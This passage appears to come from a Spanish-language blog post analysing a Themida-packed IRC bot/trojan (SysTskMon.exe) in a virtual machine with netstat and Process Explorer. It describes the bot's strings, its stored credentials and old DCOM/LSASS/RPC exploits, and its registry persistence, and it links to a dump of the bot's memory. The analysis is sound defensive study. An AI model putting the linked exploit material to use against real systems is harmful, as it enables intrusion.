Acto seguido abro una shell de Windows y ejecuto el comando netstat, para ver las conexiones activas de mi equipo virtual. La ejecuto con los parámetros siguientes:

-n.- Muestra direcciones y puertos asociados

-a.- Muestra todas las conexiones

-b.- Muestra el ejecutable que crea la conexión

-o.- Muestra el PID asociado al ejecutable

netstat -nabo Jaja. Qué palabra más bonita! Los datos son reveladores

ConexionesBot

Como quiero saber más de nuestro sospechoso amigo, me descargo de Microsoft la herramienta ProcessExplorer, aplicación que me va a ayudar a conocer de una manera más íntima a nuestro amigo. Lo que voy a mirar será los strings que contiene, lo que carga en memoria, y las propiedades TCP/IP del amigo.

El comando Strings, me va a buscar cadenas de texto ASCII o Unicode en el ejecutable. De ahí podremos deducir algo si vemos cadenas legíbles.

Para ver los strings del fichero, hacemos doble click en el archivo (desde Process Explorer) y nos vamos a la pestaña Strings. El resultado no nos muestra mucho. Efectivamente está empacado con Themida y al final leemos que está intentando escribir o tomar un archivo, posiblemente de configuración. Lo podéis ver en la imagen adjunta.

StringsBot

Justo en esta misma pestaña, Process Explorer nos da la oportunidad de mirar también el contenido de la memoria. El contenido es más que revelador. Tenemos ante nosotros a un auténtico depredador. Virus con capacidad de troyano, downloader, gusano, Bot, etc…

Guarda en memoria todo tipo de datos. Posibles usuarios y contraseñas, diversas formas de explotar una serie de vulnerabilidades antiguas (DCOM, LSASS, RPC, etc..)

El contenido de la memoria de este virus, lo podéis ver en formato de texto (.txt) aquí:

http://eldiario.host.sk/virus/SysTskMon.exe.txt

Si queremos ver el tipo de conexión que intenta realizar el virus, pulsamos la pestaña TCP/IP y nos muestra lo siguiente:

ConexiónBot

El virus está intentando crear una conexión a través de IRC y por el puerto 6667, un puerto típico de conexión para estos menesteres. También vemos que el estado de la conexión es SYN_SENT, es decir, el socket está esperando la conexión. 

El virus en cuestión crea una entrada en el registro de Windows, y se aloja en System32. Cabe decir que si ejecutásemos este virus bajo una cuenta NO Administrativa, este virus tendría un impacto NULO en un sistema Windows.

En próximos artículos veremos como obtener información básica sobre determinados virus, realizando algunas técnicas forenses para la identificación y extracción de datos sensibles.

Espero que os quede un poco más claro que por muchas protecciones de seguridad que tengamos en un equipo, ninguna de ellas será efectiva ante un doble-clic de un usuario.

Cuidadito por la Red y vigilad lo que os descargáis.

1Saludo!